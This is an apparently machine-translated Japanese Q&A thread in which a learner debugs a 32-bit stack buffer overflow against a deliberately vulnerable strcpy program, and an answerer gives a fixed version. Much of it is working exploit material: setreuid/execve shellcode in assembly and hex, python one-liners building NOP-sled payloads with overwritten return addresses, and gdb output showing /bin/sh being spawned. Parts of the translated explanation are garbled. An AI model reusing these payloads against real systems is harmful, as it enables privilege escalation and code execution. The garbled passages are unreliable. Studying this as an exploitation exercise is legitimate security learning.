バッファオーバーフローエクスプロイトで使用する脆弱なプログラム(下記)とシェルコード(以下も同様)を作成しました。私はこれと同じ問題 link を抱えていて、そこにある回答(-z execstack、-fno-stack-protector)を使用して解決しました。コメントでほのめかされている問題があります。
リターンアドレスを上書きして、NOPスレッドの中央を指すようにします(gdbでx/500x $ esp-500を使用して見つかったリトルエンディアンの "\ x38\xcf\xff\xff"に)。次に、プログラム(一番下のコマンド)がセグメンテーション違反を発生させます。
0xffffa0e8 in ?? ()
(gdb) info register
eax 0xfffffffc -4
ecx 0xffffd070 -12176
edx 0x0 0
ebx 0xffffd074 -12172
esp 0xffffd06c 0xffffd06c
ebp 0x2368732f 0x2368732f
esi 0x0 0
edi 0x0 0
eip 0xffffa0e8 0xffffa0e8
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
戻りアドレスの右端のバイトは、本来あるべきものではありません(eipは0xffffcf38を読み取る必要があります)。返信アドレスを意味のないものに変更すると、たとえば、「0xffffdddd」と表示されます。
Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()
ほぼ期待どおり-「d」が「f」に変更されました! 「0x42424242」の戻りアドレスは期待どおりに機能します。segfault、0x42424242は?? ()
したがって、予想される動作は/ bin/bashを開始することです。実際の動作は、セグメンテーション違反を発生させることであり、EIPを上書きしようとしているアドレス以外のアドレスを戻りアドレスとして提供します。問題は次のとおりです:なぜこれが発生し、どうすれば停止できますか?
脆弱なプログラム:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
コンパイル:
gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c
アセンブリのシェルコード(または here から):
BITS 32
; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short two
one:
pop ebx
;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
Push eax
Push ebx
mov ecx, esp
xor edx, edx
int 0x80
two:
call one
db "/bin/sh#"
アセンブリは次のようにコンパイルされます:
nasm -bin -o shellcode shellcode.asm
攻撃は、次のコマンドを使用してgdbで実行されます。
gdb vuln
そして
run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')
システムは、VirtualBoxで実行されるLinux Mint 17.1 64ビットです。
免責事項:私はこれに非常に慣れていないので、バッファオーバーフローの理解を深めるためにこの回答を書きました
私はあなたが3つの問題を抱えていると思います:
ebp
に戻るのを忘れました私の理解では、eip
は指定したアドレスに移動されますが、スタックはシェルコード+ 4バイトの最後になります-ret
が次にポップされるためですeip
に移動します。
また、私は本当に同じことで苦労していたので、あなたの問題は私に何かを悟らせました:シェルコードを実行している間、スタックはまだ動きます。 esp
がシェルコードに近すぎる場合、Push
とpop
の命令が独自のシェルコードを混乱させる可能性があります。
私が提案するのはそれから:
Nop
の75%まで満たすbyte
に埋め込みますNop
を挿入しますleave
用、もう1つはret
用です。私はこれを別のシェルコードで試しました:
$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)
GDB
の使用:
ebp 0xbffffc48 0xbffffc48
esp 0xbffffa30 0xbffffa30
ESP:
0xbffffa30: 0xbffffa4c 0xbffffdda 0xb7fff524 0x00000000
0xbffffa40: 0xb7fff524 0xbffffad0 0xb7fe35c9 0x90909090
0xbffffa50: 0x90909090 0x90909090 0x90909090 0x90909090
EIP:
0x80483ed <main+41>: leave
0x80483ee <main+42>: ret
0x80483ef: nop
次にnext instruction
:
ebp 0xbffffaf0 0xbffffaf0
esp 0xbffffc4c 0xbffffc4c
ESP:
0xbffffc4c: 0xbffffaf0 0x00000000 0xbffffcf4 0xbffffd00
EIP:
0x80483ee <main+42>: ret
$esp
のアドレスにジャンプします。
ebp 0xbffffaf0 0xbffffaf0
esp 0xbffffc50 0xbffffc50
ESP:
0xbffffc50: 0x00000000 0xbffffcf4 0xbffffd00 0xb7fe1848
0xbffffc60: 0xbffffcb0 0xffffffff 0xb7ffeff4 0x08048234
EIP:
0xbffffaf0: nop
そしてスライドを始めましょう:
(gdb) c
Continuing.
Executing new program: /bin/dash
$
発生している問題は、エクスプロイトコードの悪い文字が原因である可能性もあります。たとえば、null\x00、ラインフィード\ x0A、キャリッジリターン\ x0D、およびフォームフィード\ xFFは、エクスプロイトを失敗させる可能性があります。これが原因である場合、スタックを監視するときにデバッガーで簡単に見つけることができます。